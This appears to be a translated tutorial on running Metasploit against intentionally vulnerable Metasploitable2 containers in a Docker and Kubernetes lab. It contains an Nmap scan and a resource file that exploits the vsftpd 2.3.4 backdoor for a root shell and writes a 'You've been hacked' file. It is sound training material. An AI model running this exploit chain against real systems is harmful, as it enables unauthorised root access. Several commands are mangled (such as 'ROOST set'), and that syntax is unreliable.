Running Metasploit with Docker and Kubernetes
This article is intended to make it easy to build a penetration test environment without complicated settings if Docker and Kubernetes are introduced.
Environment used in this article
$ cat /etc/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=16.04 DISTRIB_CODENAME=xenial DISTRIB_DESCRIPTION="Ubuntu 16.04.5 LTS" $ docker --version Docker version 18.09.0, build 4d60db4 $ minikube version minikube version: v0.29.0
All things to use this time are in GitHub and Docker Hub . Since GitHub also has a Dockerfile of Metasploit images etc., please remodel it so that it is easy to use. Let’s get the things we need by executing the commands below in order.
$ git clone https://github.com/SauravBrahma/MetasploitImage.git $ docker pull sauravbrahma/metasploit_image $ docker pull tleemcjr/metasploitable2
Now that you have got what you need, let’s move it.
Build an environment with Docker
$ docker run --rm -it tleemcjr/metasploitable2:latest sh -c "/bin/services.sh && bash" * Starting web server apache2 [ OK ] * Starting deferred execution scheduler atd [ OK ] * Starting periodic command scheduler crond [ OK ] ・ ・ ・ * Starting internet superserver xinetd [ OK ] * Doing Wacom setup... [ OK ] * Running local boot scripts (/etc/rc.local) [ OK ] root@c3803e096580:/# # The IP address is required when specifying an attack target later, so record it. root @ c3803e096580: / # ifconfig | grep 172 inet addr:172.17.0.5 Bcast:172.17.255.255 Mask:255.255.0.0 # Enter Ctrl-p, Ctrl-q to leave the container while moving, and check if the container is moving with the following command. $ docker ps | grep tleemcjr / metasploitable2 c3803e096580 tleemcjr/metasploitable2:latest "sh -c '/bin/service…" 8 minutes ago Up 8 minutes vigorous_kalam $ docker run --rm -it sauravbrahma/metasploit_image:latest bash * Starting PostgreSQL 9.3 database server [ OK ] msf_user@ef8a1f8f6923:/opt/metasploit-framework$
This completes the environment construction using Docker. Also, this time, an –rm option is added at the time of execution so that extra containers do not remain.
Try a penetration test with Docker
Here, let’s actually carry out a penetration test using Docker. Since you are currently logged in to the attack container, msfconsole entering the command will launch the Metasploit console.
msf_user@c9521edd20f4:/opt/metasploit-framework$ msfconsole ** Welcome to Metasploit Framework Initial Setup ** Please answer a few questions to get started. ** Metasploit Framework Initial Setup Complete ** .: okOOOkdc '' cdkOOoko :. .xOOOOOOOOOOOOc cOOOOOOOOOOOOx. : OOOOOOOOOOOOOOOk,, kOOOOOOOOOOOOOOO: OOOOOOOOOkkkkOOOOO:: OOOOOOOOOOOOOOOOOO ' oOOOOOOOO. .oOOOOOOOOOOl. , OOOOOOOOo dOOOOOOOO. .cOOOOOc. , OOOOOOOOx lOOOOOOOO. ; d ; , OOOOOOOOl .OOOOOOOO. . ; ; , OOOOOOOO. cOOOOOOO. .OOc. oOO. , OOOOOOOc oooOOOO. .OOOO. : OOOO. , OOOOOOo lOOOOO. .YES YES. :YES YES. , OOOOOl ;OOOO' .OOOO. :OOOO. ;OOOO; .dOOo .OOOOocccxOOOO. xOOd. , kOl .OOOOOOOOOOOOO. .dOk, : kk ; .OOOOOOOOOOOOO.cOk: . kOOOOOOOOOOOOOOOk: , xOOOOOOOOOOOx, .lOOOOOOOl. ,dOd, . =[ metasploit v4.17.35-dev- ] + -- --=[ 1845 exploits - 1044 auxiliary - 320 post ] + -- --=[ 541 payloads - 44 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf >
This time, I would like to proceed in the following order.
- Store the result of applying Nmap to Metasploitable in the database
- Decide which module to use and attack
- You’ve been hacked Leave a text file with content as evidence that attack was successful in Metasploitable
- Check whether the text file remains in Metasploitable side
Store the result of applying Nmap to Metasploitable in the database
First, let’s check if the Metasploit is connected to the database.
msf > db_status [*] postgresql connected to msf_database msf >
Since the Docker image used this time is connected to the database from the beginning, it should be output like the above.
Let’s store the result in a database by applying Nmap to Metasploitable.
msf > db_nmap -A 172.17.0.2 [*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2019-01-25 08:56 UTC [*] Nmap: Nmap scan report for 172.17.0.2 [*] Nmap: Host is up (0.00054s latency). [*] Nmap: Not shown: 980 closed ports [*] Nmap: PORT STATE SERVICE VERSION [*] Nmap: 21/tcp open ftp vsftpd 2.3.4 [*] Nmap: |_ftp-anon: Anonymous FTP login allowed (FTP code 230) [*] Nmap: 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) [*] Nmap: | ssh-hostkey: [*] Nmap: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) [*] Nmap: |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) [*] Nmap: 23/tcp open telnet Linux telnetd [*] Nmap: 25/tcp open smtp Postfix smtpd [*] Nmap: |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, [*] Nmap: | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX [*] Nmap: | Not valid before: 2010-03-17T14:07:45 [*] Nmap: |_Not valid after: 2010-04-16T14:07:45 [*] Nmap: |_ssl-date: 2019-01-25T08:58:24+00:00; 0s from scanner time. [*] Nmap: 111/tcp open rpcbind 2 (RPC #100000) [*] Nmap: | rpcinfo: [*] Nmap: | program version port/proto service [*] Nmap: | 100000 2 111/tcp rpcbind [*] Nmap: | 100003 2,3,4 2049/tcp nfs [*] Nmap: | 100003 2,3,4 2049/udp nfs [*] Nmap: | 100005 1,2,3 50419/tcp mountd [*] Nmap: | 100005 1,2,3 58275/udp mountd [*] Nmap: | 100021 1,3,4 33414/tcp nlockmgr [*] Nmap: | 100021 1,3,4 58022/udp nlockmgr [*] Nmap: | 100024 1 42939/tcp status [*] Nmap: |_ 100024 1 49024/udp status [*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) [*] Nmap: 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) [*] Nmap: 512/tcp open exec netkit-rsh rexecd [*] Nmap: 513/tcp open login [*] Nmap: 514/tcp open tcpwrapped [*] Nmap: 1099/tcp open java-rmi Java RMI Registry [*] Nmap: 1524/tcp open ingreslock? [*] Nmap: 2121/tcp open ftp ProFTPD 1.3.1 [*] Nmap: 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 [*] Nmap: | mysql-info: [*] Nmap: | Protocol: 53 [*] Nmap: | Version: .0.51a-3ubuntu5 [*] Nmap: | Thread ID: 9 [*] Nmap: | Capabilities flags: 43564 [*] Nmap: | Some Capabilities: Support41Auth, Speaks41ProtocolNew, ConnectWithDatabase, SwitchToSSLAfterHandshake, SupportsCompression, SupportsTransactions, LongColumnFlag [*] Nmap: | Status: Autocommit [*] Nmap: |_ Salt: g>=Vy7.~VoOz, NetBIOS MAC: (unknown) [*] Nmap: | smb-os-discovery: [*] Nmap: | OS: Unix (Samba 3.0.20-Debian) [*] Nmap: | NetBIOS computer name: [*] Nmap: | Workgroup: WORKGROUP [*] Nmap: |_ System time: 2019-01-25T03:58:24-05:00 [*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 137.18 seconds msf >
-A It takes quite some time because you are using options, but please be patient.
You now know a variety of information, such as available ports, services and OSs that are likely to be running there. By the way, since these are naturally stored in the database of the container currently logged in, you can also view the information by sending a query from SQL.
msf > exit msf_user@c9521edd20f4:/opt/metasploit-framework$ psql -U msf_user msf_database psql (9.3.17) Type "help" for help. msf_database=# SELECT * FROM services; id | host_id | created_at | port | proto | state | name | updated_at | info ----+---------+----------------------------+------+-------+-------+-------------+----------------------------+-------------------------------------------- 1 | 1 | 2019-01-25 08:58:27.315887 | 21 | tcp | open | ftp | 2019-01-25 08:58:27.315887 | vsftpd 2.3.4 2 | 1 | 2019-01-25 08:58:27.777045 | 22 | tcp | open | ssh | 2019-01-25 08:58:27.777045 | OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0 3 | 1 | 2019-01-25 08:58:27.815226 | 23 | tcp | open | telnet | 2019-01-25 08:58:27.815226 | Linux telnetd 4 | 1 | 2019-01-25 08:58:27.848245 | 25 | tcp | open | smtp | 2019-01-25 08:58:27.848245 | Postfix smtpd 5 | 1 | 2019-01-25 08:58:27.913605 | 111 | tcp | open | rpcbind | 2019-01-25 08:58:27.913605 | 2 RPC #100000 6 | 1 | 2019-01-25 08:58:27.956202 | 139 | tcp | open | netbios-ssn | 2019-01-25 08:58:27.956202 | Samba smbd 3.X workgroup: WORKGROUP 7 | 1 | 2019-01-25 08:58:27.989778 | 445 | tcp | open | netbios-ssn | 2019-01-25 08:58:27.989778 | Samba smbd 3.X workgroup: WORKGROUP 8 | 1 | 2019-01-25 08:58:28.026979 | 512 | tcp | open | exec | 2019-01-25 08:58:28.026979 | netkit-rsh rexecd 9 | 1 | 2019-01-25 08:58:28.059262 | 513 | tcp | open | login | 2019-01-25 08:58:28.059262 | 10 | 1 | 2019-01-25 08:58:28.096009 | 514 | tcp | open | tcpwrapped | 2019-01-25 08:58:28.096009 | 11 | 1 | 2019-01-25 08:58:28.135852 | 1099 | tcp | open | java-rmi | 2019-01-25 08:58:28.135852 | Java RMI Registry 12 | 1 | 2019-01-25 08:58:28.182279 | 1524 | tcp | open | ingreslock | 2019-01-25 08:58:28.182279 | 13 | 1 | 2019-01-25 08:58:28.239117 | 2121 | tcp | open | ftp | 2019-01-25 08:58:28.239117 | ProFTPD 1.3.1 14 | 1 | 2019-01-25 08:58:28.270095 | 3306 | tcp | open | mysql | 2019-01-25 08:58:28.270095 | MySQL 5.0.51a-3ubuntu5 15 | 1 | 2019-01-25 08:58:28.302865 | 5432 | tcp | open | postgresql | 2019-01-25 08:58:28.302865 | PostgreSQL DB 8.3.0 - 8.3.7 16 | 1 | 2019-01-25 08:58:28.328482 | 5900 | tcp | open | vnc | 2019-01-25 08:58:28.328482 | VNC protocol 3.3 17 | 1 | 2019-01-25 08:58:28.372125 | 6000 | tcp | open | x11 | 2019-01-25 08:58:28.372125 | access denied 18 | 1 | 2019-01-25 08:58:28.399048 | 6667 | tcp | open | irc | 2019-01-25 08:58:28.399048 | Unreal ircd 19 | 1 | 2019-01-25 08:58:28.435059 | 8009 | tcp | open | ajp13 | 2019-01-25 08:58:28.435059 | Apache Jserv Protocol v1.3 20 | 1 | 2019-01-25 08:58:28.479801 | 8180 | tcp | open | http | 2019-01-25 08:58:28.479801 | Apache Tomcat/Coyote JSP engine 1.1 (20 rows) msf_database=# \q msf_user@c9521edd20f4:/opt/metasploit-framework$
By storing the result of Nmap in the database in this way, it is possible to import it during automation and export the result. In addition, when there are multiple entries in the database, hostsyou can also select an attack target that meets the conditions by using a command or the like.
Decide which module to use and attack
Now DEPRECATED it has become, but there is db_autopwna plug-in for automatic attack called Metasploit . db_autopwn Is an excellent way to attack automatically with information obtained from the database about the attack target. Even in Docker image you are using this time db_autopwn you Yes is set to use the ( load db_autopwn and db_autopwn <option> can be used by running the two commands) is, for true vulnerability is too much,Here is a description of the resource file that can automate the console. This seems to be something that automates the task by writing the task which is done many times in the resource file. Furthermore, ~/.msf4/ if you put resource files below, it will execute the contents each time you call the console.
This time I do not particularly attack many times, but I think that you can use it with Kubernetes, which will be described later, so I would like to attack using resource files. Also, as we know from Nmap results that the ftp service is running on port 21, we will use the famous module for ftp this time.
easy_pentes.rc use exploit/unix/ftp/vsftpd_234_backdoor ROOST set 172.17.0.2 exploit -z sessions -i 1 -c "id" sessions -i 1 -c "pwd" sessions -i 1 -c "echo \"You've been hacked\" > /hacked.txt" exit -y
This is the only thing that writes to resource files. Only the module used and the target IP and execution instruction of the attack. By the way, in the sessions command part, you can specify an instruction which you want to execute as an -i option for any session -c.
Let’s run this resource file from Metasploit.
msf_user@c9521edd20f4:/opt/metasploit-framework$ msfconsole -q -r easy_pentes.rc [*] Processing easy_pentes.rc for ERB directives. resource (easy_pentes.rc)> use exploit/unix/ftp/vsftpd_234_backdoor resource ( easy_pentes.rc )> RHOST set 172.17.0.2 RHOST => 172.17.0.2 resource (easy_pentes.rc)> exploit -z [*] 172.17.0.2:21 - Banner: 220 (vsFTPd 2.3.4) [*] 172.17.0.2:21 - USER: 331 Please specify the password. [+] 172.17.0.2:21 - Backdoor service has been spawned, handling... [+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Session 1 created in the background. resource (easy_pentes.rc)> sessions -i 1 -c "id" [*] Running 'id' on shell session 1 (172.17.0.2) uid=0(root) gid=0(root) resource (easy_pentes.rc)> sessions -i 1 -c "pwd" [*] Running 'pwd' on shell session 1 (172.17.0.2) / resource (easy_pentes.rc)> sessions -i 1 -c "echo \"You've been hacked\" > /hacked.txt" [*] Running 'echo "You've been hacked" > /hacked.txt' on shell session 1 (172.17.0.2) resource (easy_pentes.rc)> exit -y msf_user@c9521edd20f4:/opt/metasploit-framework$
It seems that I was able to attack safely. It can be confirmed that this attack has gained root privileges. Also, the directory at the time of the successful attack / seems to be the top . You can also load resource files by adding options to the msfconsole command and -r turn -q off the banner by adding options.
Check whether the text file remains in Metasploitable side
Let’s confirm from the Metasploitable side that the attack was successful. Please log in to Metasploitable. The hacked.txt directory I wrote above / should have been written, so it should not be necessary to move the directory in particular.
root@ee769a0fc9f6:/# ls bin boot cdrom core dev etc hacked.txt home initrd initrd.img lib lost+found media mnt nohup.out opt proc root sbin srv sys tmp usr var vmlinuz root@ee769a0fc9f6:/# cat hacked.txt You've been hacked root@ee769a0fc9f6:/#
It was confirmed from the Metasploitable side that it was infringed.
The penetration test using Docker is above.
Try to make lots with Kubernetes
$ kubectl apply -f yaml / metasploit.yaml replicaset.apps/metasploit-rc created $ kubectl apply -f yaml / metasploitable.yaml replicaset.apps/metasploitable2-rc created $ kubectl get pods -o wide NAME READY STATUS RESTARTS AGE IP NODE metasploit-rc-nxwd2 1/1 Running 0 17s 172.17.0.5 minikube metasploitable2-rc-f9dzd 1/1 Running 0 11s 172.17.0.6 minikube metasploitable2-rc-mbz95 0/1 ContainerCreating 0 11s minikube metasploitable2-rc-s2lwh 0/1 ContainerCreating 0 11s minikube $ kubectl get pods -o wide NAME READY STATUS RESTARTS AGE IP NODE metasploit-rc-nxwd2 1/1 Running 0 23s 172.17.0.5 minikube metasploitable2-rc-f9dzd 1/1 Running 0 17s 172.17.0.6 minikube metasploitable2-rc-mbz95 1/1 Running 0 17s 172.17.0.8 minikube metasploitable2-rc-s2lwh 1/1 Running 0 17s 172.17.0.7 minikube
This time, I wanted to create many Metasploit Pods and Metasploitable Pods easily, so I used the ReplicaSet resource. By default, one Metasploit Pod and three Metasploitable Pods are created, but you can spec.replicas create as many verification environments as you like by changing the fields of each YAML file .
Let’s check if we can communicate with other pods by entering one of the above pods.
$ kubectl exec -it metasploit-rc-nxwd2 bash msf_user@metasploit-rc-nxwd2:/opt/metasploit-framework$ ping 172.17.0.6 PING 172.17.0.6 (172.17.0.6) 56(84) bytes of data. 64 bytes from 172.17.0.6: icmp_seq=1 ttl=64 time=0.088 ms 64 bytes from 172.17.0.6: icmp_seq=2 ttl=64 time=0.049 ms 64 bytes from 172.17.0.6: icmp_seq=3 ttl=64 time=0.039 ms 64 bytes from 172.17.0.6: icmp_seq=4 ttl=64 time=0.040 ms ^C --- 172.17.0.6 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 2999ms rtt min/avg/max/mdev = 0.039/0.054/0.088/0.020 ms
You seem to be able to communicate safely. This completes the environment construction using Kubernetes.
Kubernetes can perform penetration tests in the same way as Docker showed.
That’s it. Thank you for reading so far!
We hope that the content of this article will be useful for the penetration test assuming various situations. 😉